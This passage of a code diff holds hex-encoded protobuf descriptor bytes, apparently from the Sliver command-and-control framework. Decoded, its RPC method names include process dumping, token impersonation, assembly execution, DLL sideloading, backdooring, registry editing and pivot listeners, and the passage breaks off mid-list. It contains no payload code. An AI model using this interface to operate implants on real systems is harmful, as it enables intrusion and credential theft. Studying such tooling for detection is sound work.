0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, - 0x64, 0x52, 0x65, 0x71, 0x1a, 0x0d, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x50, 0x77, 0x64, 0x12, 0x26, 0x0a, 0x03, 0x50, 0x77, 0x64, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, - 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x77, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x0d, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x77, 0x64, 0x12, 0x23, 0x0a, 0x02, 0x4d, - 0x76, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x76, 0x52, - 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x76, - 0x12, 0x23, 0x0a, 0x02, 0x43, 0x70, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x43, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x43, 0x70, 0x12, 0x23, 0x0a, 0x02, 0x52, 0x6d, 0x12, 0x0f, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x6d, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x6d, 0x12, 0x2c, 0x0a, 0x05, 0x4d, 0x6b, - 0x64, 0x69, 0x72, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, - 0x6b, 0x64, 0x69, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x4d, 0x6b, 0x64, 0x69, 0x72, 0x12, 0x35, 0x0a, 0x08, 0x44, 0x6f, 0x77, 0x6e, - 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x12, - 0x2f, 0x0a, 0x06, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x10, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, - 0x12, 0x29, 0x0a, 0x04, 0x47, 0x72, 0x65, 0x70, 0x12, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x47, 0x72, 0x65, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x0e, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x72, 0x65, 0x70, 0x12, 0x2c, 0x0a, 0x05, 0x43, - 0x68, 0x6d, 0x6f, 0x64, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x43, 0x68, 0x6d, 0x6f, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x6d, 0x6f, 0x64, 0x12, 0x2c, 0x0a, 0x05, 0x43, 0x68, 0x6f, - 0x77, 0x6e, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, - 0x6f, 0x77, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x43, 0x68, 0x6f, 0x77, 0x6e, 0x12, 0x32, 0x0a, 0x07, 0x43, 0x68, 0x74, 0x69, 0x6d, - 0x65, 0x73, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, - 0x74, 0x69, 0x6d, 0x65, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x74, 0x69, 0x6d, 0x65, 0x73, 0x12, 0x37, 0x0a, 0x0c, 0x4d, - 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x19, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x4c, - 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x4c, 0x73, 0x12, 0x3e, 0x0a, 0x0b, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, - 0x41, 0x64, 0x64, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, - 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, - 0x73, 0x41, 0x64, 0x64, 0x12, 0x3b, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, - 0x52, 0x6d, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, - 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x52, 0x6d, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x52, - 0x6d, 0x12, 0x3e, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d, 0x70, - 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x72, 0x6f, 0x63, - 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, - 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d, - 0x70, 0x12, 0x2c, 0x0a, 0x05, 0x52, 0x75, 0x6e, 0x41, 0x73, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, - 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x75, 0x6e, 0x41, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x0f, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x75, 0x6e, 0x41, 0x73, 0x12, - 0x3e, 0x0a, 0x0b, 0x49, 0x6d, 0x70, 0x65, 0x72, 0x73, 0x6f, 0x6e, 0x61, 0x74, 0x65, 0x12, 0x18, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x65, 0x72, 0x73, - 0x6f, 0x6e, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x65, 0x72, 0x73, 0x6f, 0x6e, 0x61, 0x74, 0x65, 0x12, - 0x38, 0x0a, 0x09, 0x52, 0x65, 0x76, 0x54, 0x6f, 0x53, 0x65, 0x6c, 0x66, 0x12, 0x16, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x76, 0x54, 0x6f, 0x53, 0x65, 0x6c, - 0x66, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x52, 0x65, 0x76, 0x54, 0x6f, 0x53, 0x65, 0x6c, 0x66, 0x12, 0x38, 0x0a, 0x09, 0x47, 0x65, 0x74, - 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x47, 0x65, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x52, 0x65, 0x71, 0x1a, 0x13, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x53, 0x79, 0x73, - 0x74, 0x65, 0x6d, 0x12, 0x29, 0x0a, 0x04, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x11, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x0e, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x27, - 0x0a, 0x03, 0x4d, 0x73, 0x66, 0x12, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x71, 0x1a, 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x33, 0x0a, 0x09, 0x4d, 0x73, 0x66, 0x52, 0x65, - 0x6d, 0x6f, 0x74, 0x65, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x4d, 0x53, 0x46, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0e, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x4a, 0x0a, 0x0f, - 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79, 0x12, - 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, - 0x74, 0x65, 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, - 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79, 0x12, 0x32, 0x0a, 0x07, 0x4d, 0x69, 0x67, 0x72, - 0x61, 0x74, 0x65, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, - 0x69, 0x67, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x69, 0x67, 0x72, 0x61, 0x74, 0x65, 0x12, 0x32, 0x0a, 0x07, - 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, - 0x12, 0x40, 0x0a, 0x0e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x57, 0x69, 0x6e, 0x64, 0x6f, - 0x77, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, - 0x65, 0x63, 0x75, 0x74, 0x65, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x52, 0x65, 0x71, 0x1a, - 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, - 0x74, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x53, 0x69, 0x64, 0x65, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x15, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x69, 0x64, 0x65, 0x6c, 0x6f, - 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, - 0x2e, 0x53, 0x69, 0x64, 0x65, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x3b, 0x0a, 0x08, 0x53, 0x70, 0x61, - 0x77, 0x6e, 0x44, 0x6c, 0x6c, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, - 0x2e, 0x49, 0x6e, 0x76, 0x6f, 0x6b, 0x65, 0x53, 0x70, 0x61, 0x77, 0x6e, 0x44, 0x6c, 0x6c, 0x52, - 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x70, - 0x61, 0x77, 0x6e, 0x44, 0x6c, 0x6c, 0x12, 0x3b, 0x0a, 0x0a, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, - 0x73, 0x68, 0x6f, 0x74, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x73, - 0x68, 0x6f, 0x74, 0x12, 0x50, 0x0a, 0x11, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x54, 0x6f, - 0x6b, 0x65, 0x6e, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x54, 0x6f, 0x6b, 0x65, 0x6e, - 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x54, 0x6f, 0x6b, 0x65, 0x6e, - 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x12, 0x4e, 0x0a, 0x12, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, - 0x61, 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x1f, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x61, 0x72, - 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, - 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x44, 0x0a, 0x11, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, - 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, - 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x6f, 0x70, 0x4c, - 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, - 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x4e, 0x0a, 0x15, 0x50, - 0x69, 0x76, 0x6f, 0x74, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x65, - 0x6e, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x52, 0x65, - 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, - 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x33, 0x0a, 0x0a, 0x50, - 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, - 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, - 0x12, 0x40, 0x0a, 0x0c, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, - 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x72, - 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, - 0x66, 0x6f, 0x12, 0x3e, 0x0a, 0x0b, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, - 0x65, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x6f, - 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, - 0x66, 0x6f, 0x12, 0x42, 0x0a, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x72, 0x76, - 0x69, 0x63, 0x65, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, - 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, - 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, - 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x38, 0x0a, 0x09, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, - 0x6b, 0x65, 0x6e, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, - 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, - 0x12, 0x2d, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, - 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x6e, 0x76, 0x49, 0x6e, 0x66, 0x6f, 0x12, - 0x2f, 0x0a, 0x06, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x10, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, - 0x12, 0x35, 0x0a, 0x08, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x15, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, - 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, - 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x35, 0x0a, 0x08, 0x42, 0x61, 0x63, 0x6b, 0x64, - 0x6f, 0x6f, 0x72, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, - 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12, 0x41, - 0x0a, 0x0c, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x12, 0x19, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, - 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, - 0x64, 0x12, 0x44, 0x0a, 0x0d, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, - 0x74, 0x65, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, - 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x17, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, - 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, - 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x1e, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, - 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, - 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, - 0x69, 0x73, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x1e, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, - 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x1b, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, - 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x54, 0x0a, 0x13, 0x52, - 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x75, 0x62, 0x4b, 0x65, - 0x79, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, - 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, - 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, + 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, + 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2f, 0x0a, 0x08, 0x57, 0x65, 0x62, 0x73, + 0x69, 0x74, 0x65, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x57, 0x65, 0x62, 0x73, 